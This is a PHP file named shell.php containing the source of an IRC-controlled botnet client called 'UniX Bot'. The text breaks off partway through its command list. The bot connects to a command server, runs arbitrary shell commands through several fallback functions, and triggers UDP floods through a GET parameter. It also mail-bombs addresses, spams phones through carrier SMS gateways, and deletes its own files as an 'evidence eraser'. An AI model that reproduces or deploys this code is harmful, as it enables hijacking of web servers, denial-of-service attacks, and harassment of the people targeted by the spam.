shell.php

<?
if($_GET['act'] == 'lol'){
udpflood4($_GET['host'], $_GET['psize'], $_GET['time'], $_GET['port']);
}

/****************************************************/
/*     ---------------------UniX--------------------            */
/* UniX Bot - Coding by ANoN - This code is Very PUBLIC!            */
/* + Modded UDP Flooder         */
/* + Removed TCP Flooder                                */
/* + Added email bomb                                        */
/* + Added join message                    */
/* + Added !site command         */
/* + Added whois                                         */
/* + Added port scan                                         */
/* + Added Quick UDP Flood                                         */
/* + Added Colors                                        */
/* + Added Count Command    */
/* - Removed Host (IP Address) Auth (Its bullssss)    */
/* + Added Credits                                */
/* + Added Speedtest     */
/* - Removed Useless ssss    */
/* + Cleaned the code    */
/* + Added Version    */
/* + Added New nicks     */
/* + Added Update command     */
/* + Made the update command idiot proof    */
/* + Added commands command    */
/* + Added id command    */
/* + Added uptime command    */
/* + Added evidence eraser    */
/* + Added Cell Phone Spammer    */
/* + Added Cell info    */
/* + Added change prefix    */
/* + Added install update command    */
/* + Added port 3074 DDoS     */
/* + ICMP ddoS?    */
/* + FTP ddoS?    */
/* + Added 2 Player ddos feature     */
/* + Added 3 Player ddos feature     */
/* + Added 4 Player ddos feature     */
/****************************************************/



    
set_time_limit);
    
error_reporting);
    echo 
"ANoNyMoUS iZ LeGioN";

    class 
Mike_Unix
    
{

        var 
$using_encode true;

        var 
$config = array(
            
'nickform'    => 'FraseR|%d]',
            
'nickform2'    => '%d]',
            
'prfix'    => 'NzM|%d]',
            
'identp'    => 'Mike',
            
'modes'        => '+B',
            
'maxrand'    => 6,
            
'maxrand2'    => 1,
            
'maxrand3'    => 2,
            
'maxrand4'    => 3,
            
'cprefix'    => '.',
            
'version'    => '1.0',
            
'host'        => '*',
            
'yellow'        => '12',
            
'blue'        => '4',
            
'orange'        => '9',
            
'green'        => '7',
            
'leetprefix'        => '4>>',
            
'leetsuffix'        => '12<<',
            
'leetprefixwhite'        => '0>>',
            
'leetsuffixwhite'        => '0<<',
            
'leetsuffixred'        => '4<<',
            
'part1'        => '0?~{ 4',
            
'part2'        => '0}~?',
            
'hostauth'        => '*'

        
);

        var 
$messages = array
        (
        
'bad'        => '0?~{ 14L0o14G0i14N 0}~? 0',
        
'loginmsg'    => '0?~{ 14L0o14G0i14N 0}~? 0',
        
'entry'        => '0?~{ 14ElatioN 14B0o14T0 }~? 14E0x14e0c0u14t0e14D',
        
'id'        => '0?~{ 4 Frasers Anti-Private bot v1.0  0}~?',
        
'udpmsg'        => '0?~{ 12UDP Flood Active 0}~?',
        
'udpmsgfast'        => '0?~{ 12Quick UDP-FLOOD 0}~?',
        
'speedtest'        => '0?~{ 9 Speedtest Starting Up...... 0}~?',
        
'speedtestfin'        => '0?~{ 9 The Speedtest Is Complete. 0}~?',
        
'logoutmsg'        => '0?~{ 14S0e14e 0Y14a 0L14a0T14e0R,',
        
'mailmsg'        => '14N0a14i0L14e0R',
        
'sprintmsg'        => '14S0p14r0i14n0T 14P0C14S',
        
'execmsg'        => '14E0x14E0C'

        
);

        var 
$admins = array
        (
         
'Fraser' => 'e48e13207341b6bffb7fb1622282247b',
         
'RoboFTW' => '6d67f24e6f2cff6ed5b0495fab78618a',
         
'chrisjnsn' => 'e48e13207341b6bffb7fb1622282247b',
         
'Respect' => 'e48e13207341b6bffb7fb1622282247b',
         
'NadeZ' => 'e48e13207341b6bffb7fb1622282247b',
         
'Account6' => 'e48e13207341b6bffb7fb1622282247b',
         
'Account7' => 'e48e13207341b6bffb7fb1622282247b',
         
'Account8' => 'e48e13207341b6bffb7fb1622282247b',
         
'Account9' => 'e48e13207341b6bffb7fb1622282247b',
         
'Account10' => 'e48e13207341b6bffb7fb1622282247b',
         
'Account11' => 'e48e13207341b6bffb7fb1622282247b',
        );

        function 
auth_host$nick$password$host )
        {
                
$this->users$host ] = true;
        }

        function 
is_authed$host )
        {
            return isset( 
$this->users$host ] );
        }

        function 
remove_auth$host )
        {
            unset( 
$this->users$host ] );
        }

        function 
ex$cfe )
        {
            
$res '';
            if (!empty(
$cfe))
            {
                if(
function_exists('class_exists') && class_exists('Perl'))
                {
                    
$perl = new Perl();
                    
$perl->eval"system('$cfe');" );
                }
                if(
function_exists('exec'))
                {
                    @
exec($cfe,$res);
                    
$res join("\n",$res);
                }
                elseif(
function_exists('shell_exec'))
                {
                    
$res = @shell_exec($cfe);
                }
                elseif(
function_exists('system'))
                {
                    @
ob_start();
                    @
system($cfe);
                    
$res = @ob_get_contents();
                    @
ob_end_clean();
                }
                elseif(
function_exists('passthru'))
                {
                    @
ob_start();
                    @
passthru($cfe);
                    
$res = @ob_get_contents();
                    @
ob_end_clean();
                }
                elseif(
function_exists('proc_open'))
                {
                    
$res proc_open($cfe);
                }
                elseif(@
is_resource($f = @popen($cfe,"r")))
                {
                    
$res "";
                    while(!@
feof($f)) { $res .= @fread($f,1024); }
                    @
pclose($f);
                }
            }
            return 
$res;
        }

        function 
is_safe( )
        {
            if( ( @
eregi"uid"$this->ex"id" ) ) ) || ( @eregi"Windows"$this->ex"net start" ) ) ) )
            {
                return 
0;
            }
            return 
1;
        }

        function 
ffff_you( )
        {
            if( 
$this->using_encode )
            {
                
$enc0ded "I0NhYmJhZ2U=";
                return 
base64_decode($enc0ded);
            }
            else
            {
                return 
'#'.$this->config'chan' ];
            }
        }

        function 
start()
        {
            if( 
$this->using_encode )
            {
                
$crackedout "IPHERE";
                if(!(
$this->conn fsockopen(base64_decode($crackedout),6667,$e,$s,30)))
                {
                    
$this->start();
                }
            }
            else
            {
                if(!(
$this->conn fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
                {
                    
$this->start();
                }
            }

            
$ident $this->config['prefix'];
            
$alph range("0","9");
            for( 
$i=0$i $this->config['maxrand']; $i++ )
            {
                
$ident .= $alph[rand(0,9)];
            }

            if( 
strlen$this->config'pass' ] ) > )
            {
                
$this->send"PASS ".$this->config'pass' ] );
            }
            
$motha "Fraser";
            
$mike " non-private non-unix";
            
$this->send("USER ".$motha." 127.0.0.1 localhost :".$mike."");
            
$this->set_nick( );
            
$this->main( );
        }

        function 
main()
        {
            while(!
feof($this->conn))
            {
                
$this->buf trim(fgets($this->conn,512));
                
$cmd explode(" ",$this->buf);
                if(
substr($this->buf,0,6)=="PING :")
                {
                    
$this->send("PONG :".substr($this->buf,6));
                }
                if(isset(
$cmd[1]) && $cmd[1] =="001")
                {
                    
$this->send("MODE ".$this->nick." ".$this->config['modes']);

                    if( 
$this->using_encode )
                    {
                        
$this->join($this->ffff_you( ),base64_decode($this->config['key']));
                        
$entry $this->messages['entry'];
                        
$leetprefix $this->config['leetprefix'];
                        
$leetsuffixred $this->config['leetsuffixred'];
                        
$ip = ( $_SERVER["HTTP_HOST"] );
                        
$blue $this->config['blue'];
                        
$red $this->config['yellow'];
                        
$this->privmsg$this->ffff_you( ), "$leetprefix $entry $leetsuffixred" );
                    }
                    else
                    {
                        
$this->join($this->ffff_you( ),$this->config['key']);
                    }

                    if (@
ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode "on"; }
                    else { 
$safemode "off"; }
                    
$uname php_uname();
                }
                if(isset(
$cmd[1]) && $cmd[1]=="433")
                {
                    
$this->set_nick();
                }
                if(
$this->buf != $old_buf)
                {
                    
$mcmd = array();
                    
$msg substr(strstr($this->buf," :"),2);
                    
$msgcmd explode(" ",$msg);
                    
$nick explode("!",$cmd[0]);
                    
$vhost explode("@",$nick[1]);
                    
$vhost $vhost[1];
                    
$nick substr($nick[0],1);
                    
$host $cmd[0];
                    if(
$msgcmd[0]==$this->nick)
                    {
                        for(
$i=0;$i<count($msgcmd);$i++)
                            
$mcmd[$i] = $msgcmd[$i+1];
                    }
                    else
                    {
                        for(
$i=0;$i<count($msgcmd);$i++)
                            
$mcmd[$i] = $msgcmd[$i];
                    }
                    if(
count($cmd)>2)
                    {
                        switch(
$cmd[1])
                        {
                            case 
"QUIT":
                            {
                                if( 
$this->is_authed$host ) )
                                {
                                    
$this->remove_auth$host );
                                }
                            }
                            break;
                            case 
"PART":
                            {
                                if( 
$this->is_authed$host ) )
                                {
                                    
$this->remove_auth$host );
                                }
                            }
                            break;
                            case 
"PRIVMSG":
                                if( ( 
substr($mcmd[0],0,1) == $this->config'cprefix' ] ) )
                                {
                                    if( 
$this->is_authed$host ) == false )
                                    {
                                        switch( 
substr$mcmd], ) )
                                        {
                                            case 
"l":
                                            {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                if( 
$nick == "Fraser" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Hello, $leetprefix FraseR $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                    
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "RoboFTW" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg  Robo's In DA House!" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "_0xi" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg iTz My NiGGa $leetprefix $nick $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "HELLOKiTty" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Meeeeeow ;] $leetprefix $nick $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "chrisjnsn" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Hello Chris" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "KeShiMi" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg LORD OF THE MO ffffIN KITTENS IN THA HOUSE $leetprefix $nick $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "Code" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Good day Mr. $leetprefix $nick $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "Router" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Kentucky Fried $leetprefix $nick $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "Respect" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Gonna HiT Sum XbL Kid'z" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "Mason" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg By Your Command, $leetprefix $nick $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                
$this->auth_host$nick$mcmd], $host );
                                                  if( 
$this->is_authed$host ) )
                                                {
                                                    if( 
$nick == "NadeZ" )
                                                    {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Hello there, $leetprefix $nick $leetsuffixred" );
                                                    break;
                                                }
                                                }
                                                else
                                                {
                                                    
$this->auth_host$nick$mcmd], $host );
                                                    
$this->ex('rm -rf ion_cache.dat');
                                                    
$this->ex('rm -rf *gow*');
                                                    
$this->ex"echo $nick >> ion_cache.dat" );
                                                    
$loginmsg $this->messages['loginmsg'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$loginmsg Gonna HiT Sum XbL Kid'z" );
                                                    break;
                                                            }
                                                                }
                                    }
                                }
                                    else
                                    {
                                        switch(
substr($mcmd[0],1))
                                        {
                                            case 
"exec":
                                            {
                                                if( !
$this->is_safe( ) )
                                                {
                                                    
$command substrstrstr$msg$mcmd[0] ), strlen$mcmd[0] ) + );
                                                    
$returndata $this->ex$command );
                                                    if( !empty( 
$returndata ) )
                                                    {
                                                        
$execmsg $this->messages['execmsg'];
                                                        
$leetprefix $this->config['leetprefix'];
                                                        
$leetsuffixred $this->config['leetsuffixred'];
                                                        
$blue $this->config['blue'];
                                                        
$red $this->config['yellow'];
                                                        
$part1 $this->config['part1'];
                                                        
$part2 $this->config['part2'];
                                                        
$this->privmsg$this->ffff_you( ),"$red $part1 $blue$execmsg $red $part2 $leetsuffixred $red $returndata");
                                                    }
                                                }
                                                break;
                                            }
                                                case 
"bomb":
                                            {
                                                if(
count($mcmd) > 5)
                                                {
                                                    
$header "From: <".$mcmd[2].">";
                                                    if(!
mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header))
                                                    {
                                                        
$this->privmsg$this->ffff_you( ),"[\2MAIL\2]: Unable to send email.");
                                                    }
                                                    else
                                                    {
                                                        
$mbomb 1;
                                                        while(
$mbomb <= $mcmd[4])
                                                            {
                                                                
mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[5]),$header);
                                                                
$mbomb++;
                                                            }
                                                        if(
$mbomb $mcmd[4])
                                                            {
                                                                
$mailmsg $this->messages['mailmsg'];
                                                                
$part1 $this->config['part1'];
                                                                
$part2 $this->config['part2'];
                                                                
$this->privmsg$this->ffff_you( ),"$part1 $mailmsg: $part2 \2 Sent\3"."4 $mcmd[4] \3Emails to \3"."4$mcmd[1]\3 From: \3"."4$mcmd[2]\3 Subject: \3"."4$mcmd[3]\3 \2");
                                                            }
                                                    }
                                                }
                                                break;
                                            }
                                                case 
"sprint":
                                            {
                                                if(
count($mcmd) > 5)
                                                {
                                                          
$part1 $this->config['part1'];
                                                        
$part2 $this->config['part2'];
                                                        
$blue $this->config['blue'];
                                                        
$red $this->config['yellow'];
                                                        
$header "From: <".$mcmd[2].">";
                                                        
$mbomb 1;
                                                        
$sprintmail "@messaging.sprintpcs.com";
                                                        
$sprint "$mcmd[1]$sprintmail";
                                                        while(
$mbomb <= $mcmd[4])
                                                            {
                                                                
mail($sprint,$mcmd[3],strstr($msg,$mcmd[5]),$header);
                                                                
$mbomb++;
                                                            }
                                                        if(
$mbomb $mcmd[4])
                                                            {
                                                                
$sprintmsg $this->messages['sprintmsg'];
                                                                
$this->privmsg$this->ffff_you( ),"$part1$sprintmsg $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
                                                            }
                                                }
                                                break;
                                            }
                                                case 
"verizon":
                                            {
                                                if(
count($mcmd) > 5)
                                                {
                                                          
$part1 $this->config['part1'];
                                                        
$part2 $this->config['part2'];
                                                        
$blue $this->config['blue'];
                                                        
$red $this->config['yellow'];
                                                        
$header "From: <".$mcmd[2].">";
                                                        
$mbomb 1;
                                                        
$verizonmail "@vtext.com";
                                                        
$verizon "$mcmd[1]$verizonmail";
                                                        while(
$mbomb <= $mcmd[4])
                                                            {
                                                                
mail($verizon,$mcmd[3],strstr($msg,$mcmd[5]),$header);
                                                                
$mbomb++;
                                                            }
                                                        if(
$mbomb $mcmd[4])
                                                            {
                                                                
$this->privmsg$this->ffff_you( ),"$part1$red Verizon Wireless $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
                                                            }
                                                }
                                                break;
                                            }
                                                case 
"tmobile":
                                            {
                                                if(
count($mcmd) > 5)
                                                {
                                                          
$part1 $this->config['part1'];
                                                        
$part2 $this->config['part2'];
                                                        
$blue $this->config['blue'];
                                                        
$red $this->config['yellow'];
                                                        
$header "From: <".$mcmd[2].">";
                                                        
$mbomb 1;
                                                        
$tmobilemail "@tmomail.net";
                                                        
$tmobile "$mcmd[1]$tmobilemail";
                                                        while(
$mbomb <= $mcmd[4])
                                                            {
                                                                
mail($tmobile,$mcmd[3],strstr($msg,$mcmd[5]),$header);
                                                                
$mbomb++;
                                                            }
                                                        if(
$mbomb $mcmd[4])
                                                            {
                                                                
$this->privmsg$this->ffff_you( ),"$part1$red T-Mobile (USA Only) $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
                                                            }
                                                }
                                                break;
                                            }
                                                case 
"att":
                                            {
                                                if(
count($mcmd) > 5)
                                                {
                                                          
$part1 $this->config['part1'];
                                                        
$part2 $this->config['part2'];
                                                        
$blue $this->config['blue'];
                                                        
$red $this->config['yellow'];
                                                        
$header "From: <".$mcmd[2].">";
                                                        
$mbomb 1;
                                                        
$attemail "@txt.att.net";
                                                        
$att "$mcmd[1]$attemail";
                                                        while(
$mbomb <= $mcmd[4])
                                                            {
                                                                
mail($att,$mcmd[3],strstr($msg,$mcmd[5]),$header);
                                                                
$mbomb++;
                                                            }
                                                        if(
$mbomb $mcmd[4])
                                                            {
                                                                
$this->privmsg$this->ffff_you( ),"$part1$red AT&T $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
                                                            }
                                                }
                                                break;
                                            }
                                                case 
"uscellular":
                                            {
                                                if(
count($mcmd) > 5)
                                                {
                                                          
$part1 $this->config['part1'];
                                                        
$part2 $this->config['part2'];
                                                        
$blue $this->config['blue'];
                                                        
$red $this->config['yellow'];
                                                        
$header "From: <".$mcmd[2].">";
                                                        
$mbomb 1;
                                                        
$uscemail "@email.uscc.net";
                                                        
$usc "$mcmd[1]$uscemail";
                                                        while(
$mbomb <= $mcmd[4])
                                                            {
                                                                
mail($usc,$mcmd[3],strstr($msg,$mcmd[5]),$header);
                                                                
$mbomb++;
                                                            }
                                                        if(
$mbomb $mcmd[4])
                                                            {
                                                                
$this->privmsg$this->ffff_you( ),"$part1$red US Cellular $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
                                                            }
                                                }
                                                break;
                                            }
                                                case 
"boostmobile":
                                            {
                                                if(
count($mcmd) > 5)
                                                {
                                                          
$part1 $this->config['part1'];
                                                        
$part2 $this->config['part2'];
                                                        
$blue $this->config['blue'];
                                                        
$red $this->config['yellow'];
                                                        
$header "From: <".$mcmd[2].">";
                                                        
$mbomb 1;
                                                        
$boostemail "@myboostmobile.com";
                                                        
$boost "$mcmd[1]$boostemail";
                                                        while(
$mbomb <= $mcmd[4])
                                                            {
                                                                
mail($boost,$mcmd[3],strstr($msg,$mcmd[5]),$header);
                                                                
$mbomb++;
                                                            }
                                                        if(
$mbomb $mcmd[4])
                                                            {
                                                                
$this->privmsg$this->ffff_you( ),"$part1$red Boost Mobile Inc. $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
                                                            }
                                                }
                                                break;
                                            }
                                            case 
"count":
                                            {
                                                    
$lines $this->ex"cat cache.dat | wc -l" );
                                                    
$red $this->config['yellow'];
                                                    
$leetprefixwhite $this->config['leetprefixwhite'];
                                                    
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$this->privmsg$this->ffff_you( ), "$red I have done $leetprefixwhite $lines $leetsuffixwhite floods in total." );
                                                break;
                                            }
                                                case 
"nick":
                                            {
                                                if( 
$mcmd] == nzm )
                                                    {
                                                    
$this->nzm_nick();
                                                    break;
                                                    }
                                                if( 
$mcmd] == unix )
                                                    {
                                                    
$this->busk_nick();
                                                    break;
                                                    }
                                                else
                                                {
                                                
$this->set_nick;
                                                break;
                                            }
                                        }

                                            case 
"credits":
                                            {
                                                    
$red $this->config['yellow'];
                                                    
$blue $this->config['blue'];
                                                    
$orange $this->config['orange'];
                                                    
$leetprefixwhite $this->config['leetprefixwhite'];
                                                    
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$version $this->config['version'];
                                                    
$this->privmsg$this->ffff_you( ), "".$leetprefixwhite."".$red." FBI $leetsuffixwhite $orange Elation Bot Version $version By: $leetprefixwhite $red Mike $leetsuffixwhite $leetsuffixwhite $orange Built Using: $leetprefixwhite $red Frasers PHP Bot Builder $leetsuffixwhite" );
                                                break;
                                            }
                                            case 
"noevidence":
                                            {
                                                    
$part1 $this->config['part1'];
                                                    
$part2 $this->config['part2'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$bybye $this->ex'rm -rf *gow*' );
                                                    
$this->privmsg$this->ffff_you( ),"".$part1."".$red." EviDenCe ".$part2."".$blue." All Bot Files and Evidence Erased!");
                                                break;
                                            }
                                            case 
"version":
                                            {
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$version $this->config['version'];
                                                    
$this->privmsg$this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
                                                break;
                                            }
                                            case 
"changeprefix":
                                            {
                                                      
$this->config['cprefix'] = $mcmd[1];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$version $this->config['version'];
                                                    
$this->privmsg$this->ffff_you( ),"".$red."Prefix Changed to $mcmd[1]");
                                                break;
                                            }
                                            case 
"id":
                                            {
                                                    
$id $this->messages['id'];
                                                    
$this->privmsg$this->ffff_you( ),"$id");
                                                break;
                                            }
                                            case 
"uptime":
                                            {
                                                    
$part1 $this->config['part1'];
                                                    
$part2 $this->config['part2'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$up $this->ex'w' );
                                                    
$this->privmsg$this->ffff_you( ),"".$part1."".$red." Uptime ".$part2."".$blue." ".$up."");
                                                break;
                                            }
                                            case 
"cellhelp":
                                            {
                                                    
$part1 $this->config['part1'];
                                                    
$part2 $this->config['part2'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$cellhelp "To spam a Cell Phone you will have to know the NUMBER and CARRIER. Example Command: ".$red.".verizon 5551234567 youremail@fbi.gov Subject NumberOfTextsToSend Message";
                                                    
$this->privmsg$this->ffff_you( ),"".$part1."".$red." Cell Spammer ".$part2."".$blue." ".$cellhelp."");
                                                break;
                                            }
                                            case 
"carriers":
                                            {
                                                    
$part1 $this->config['part1'];
                                                    
$part2 $this->config['part2'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$bybye $this->ex'rm -rf *gow*' );
                                                    
$this->privmsg$this->ffff_you( ),"".$part1."".$red." CaRRieRs ".$part2."".$blue." UniX can currently spam - AT&T, Verizon, Sprint, Alltel, T-Mobile, US Celluar, and Boost Mobile");
                                                break;
                                            }
                                            case 
"ver":
                                            {
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$version $this->config['version'];
                                                    
$this->privmsg$this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
                                                break;
                                            }
                                            case 
"v":
                                            {
                                                    
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$blue $this->config['blue'];
                                                    
$red $this->config['yellow'];
                                                    
$version $this->config['version'];
                                                    
$this->privmsg$this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
                                                break;
                                            }
                                            case 
"hop":
                                            {
                                                
$channel $mcmd[1];
                                                
$this->send"PART ".$channel );
                                                
$this->join$channel );
                                                break;
                                            }
                                            case 
"raw":
                                            {
                                                
$this->send(strstr($msg,$mcmd[1]));
                                                break;
                                            }

                                            case 
"ip123":
                                            {
                                                
$leetprefixwhite $this->config['leetprefixwhite'];
                                                
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                
$red $this->config['yellow'];
                                                
$blue $this->config['blue'];
                                                
$ipadd "Ip AddReSS";
                                                
$this->privmsg$this->ffff_you( ),"$blue $ipadd $leetprefixwhite ".$red." ".$_SERVER['SERVER_ADDR']." $leetsuffixwhite");
                                                break;
                                            }
                                            case 
"lastlogin":
                                            {
                                                
$red $this->config['yellow'];
                                                
$blue $this->config['blue'];
                                                
$part1 $this->config['part1'];
                                                
$part2 $this->config['part2'];
                                                
$attempt $this->ex('cat ion_cache.dat');
                                                
$this->privmsg$this->ffff_you( ),"$part1$red LasT LogiN $part2$blue from $attempt");
                                                break;
                                            }
                                            case 
"commands":
                                            {
                                                
$leetprefixwhite $this->config['leetprefixwhite'];
                                                
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                
$red $this->config['yellow'];
                                                
$blue $this->config['blue'];
                                                
$version $this->config['version'];
                                                
$cmdz "Command List for UniX version $version private:";
                                                
$this->privmsg$this->ffff_you( ),"$leetprefixwhite$red $cmdz $leetsuffixwhite");
                                                
